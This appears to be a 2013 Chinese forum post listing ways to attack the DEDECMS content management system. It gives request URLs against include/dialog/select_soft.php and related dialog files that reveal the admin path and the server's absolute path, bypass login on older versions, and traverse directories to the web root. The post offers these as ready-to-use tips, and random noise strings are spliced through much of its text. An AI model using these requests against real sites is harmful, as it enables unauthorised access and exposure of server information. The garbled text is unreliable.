1.include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理8 `. b% D- a* A9 q$ b3 P' ^% o
% u+ a7 |+ L+ k, M7 _0 x8 Y7 |% R员帐号,新版本的就直接转向了后台.
# e; D' B8 W: w* s) b# I+ I. p1 A# O9 C- p h+ r) }' M; V
2.include/dialog/config.php会爆出后台管理路径
1 T2 @' E; t! p
: D# Z7 O1 w2 L3.include/dialog/select_soft.php?activepath=/include/FCKeditor 跳转目录6 g: j4 i3 q/ \
9 D# G* H2 ^+ ~! ^6 O4.include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p 爆出网站绝对路径.: X2 @+ v2 [+ Y3 K
0 o7 F I% M' ~
5.另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉
! X4 ^8 E) y& } o7 \0 n; k
" M0 Q. f5 {( u到根目录去.不过这些版本的访问地址有些不同.5 P! ^. R9 `, C
地址为require/dialog/select_soft.php?activepath=/././././././././0 [8 @) Q r5 J% v" P1 _
: n/ | V: ~* s( H, sinclude\dialog\目录下的另外几个文件都存在同一个问题,只是默认设的目录不同.有些可以查看HTML这些文件哦..
" T) v; [/ r5 |8 J+ ^3 x9 V: j6 S存在相同问题的文件还有/ h U' R3 M+ h2 v" e" A
include\dialog\select_images.php/ u' r2 a* R8 [3 J
include\dialog\select_media.php
M" d i% I* e& Z2 y) G9 {1 b Jinclude\dialog\select_templets.php( N( S+ P. Y5 O4 }
|
发表于 2013-4-16 16:50:43
收藏
支持
反对